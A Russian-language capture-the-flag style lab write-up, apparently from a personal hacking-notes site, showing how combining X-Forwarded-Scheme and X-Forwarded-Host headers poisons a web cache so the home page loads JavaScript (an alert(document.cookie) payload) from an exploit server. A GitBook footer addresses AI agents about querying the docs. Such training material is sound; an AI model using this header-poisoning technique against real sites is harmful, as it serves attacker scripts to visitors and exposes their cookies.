> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Отравление кэша с несколькими заголовками

### Отравление веб-кэша с использованием нескольких заголовков

В этой лабораторной работе демонстрируется уязвимость к отравлению уязвимого веб-кэша только путем комбинирования нескольких HTTP-заголовков. / Пользователь посещает главную страницу примерно раз в минуту. / Цель — отравить кэш так, чтобы ответ в браузере жертвы вызывал `alert(document.cookie)`.

**Первичный анализ**

* Перехват запроса к корню сайта (`/`).
* Ответ, похоже, кэшируется и повторно используется для следующих посетителей.

<figure><img src="/files/d6d2c1d801c6ab6b76e5ce9284edd7499b6c078d" alt=""><figcaption></figcaption></figure>

**Обнаруженные уязвимые заголовки**

* Использование расширения **Param Miner** для угадывания неиндексированных заголовков.

<figure><img src="/files/302356ae779e5a6a5c2896db9edacacf3c5a60ea" alt=""><figcaption></figcaption></figure>

* Инструмент обнаруживает заголовок **`X-Forwarded-Scheme`**.

<figure><img src="/files/8242c201cb088cb9e115d510b5d8ee13c7a67cfb" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Тест**

* Этот заголовок указывает, считается ли запрос пришедшим по HTTP или HTTPS.
* Отправка:

```http
X-Forwarded-Scheme: http
```

* Сайт пытается вести себя так, как будто он обслуживается по HTTP.

<figure><img src="/files/67021a1bd2f9ece17f3d4b06d31783eebd9fb602" alt=""><figcaption></figcaption></figure>

Это вызывает сбой, и ресурсы больше не загружаются должным образом из-за неверных перенаправлений.

<figure><img src="/files/55f19d654a65efb0f3036b005b089b984aeabf39" alt=""><figcaption></figcaption></figure>

**Добавьте второй заголовок: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* Затем сайт пытается загружать свои ресурсы из этой области.

<figure><img src="/files/165c0cbda8a37c06354128e39aedcd0b11a0ee37" alt=""><figcaption></figcaption></figure>

Загрузка файла JavaScript включает:

Этот скрипт выполняется автоматически при загрузке страницы.

<figure><img src="/files/7e50759e21a1b8f78545839fd7db09020128f487" alt=""><figcaption></figcaption></figure>

**Работа с сервером эксплойтов**

* Цель — принудить загрузку файла JavaScript с сервера эксплойтов.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

На сервере эксплойтов:

* Создайте файл, доступный по URL:

Содержимое файла:

```javascript
alert(document.cookie)
```

<figure><img src="/files/ab3d090bf0fa4cac35323cbff2d7f48426d726be" alt=""><figcaption></figcaption></figure>

**Результат**

* Главная страница теперь загружает скрипт JavaScript с сервера эксплойтов.

<figure><img src="/files/085a4fbdb225e0ea7b2e0d3dcc2d987c430fa410" alt=""><figcaption></figcaption></figure>

* Отравленный ответ скрыт.
* Когда пользователь посещает страницу, скрипт запускается автоматически.
* Появляется предупреждение, отображающее `document.cookie` в браузере жертвы.

<figure><img src="/files/799bc0db0961570928f80dcf30059316a88788ec" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
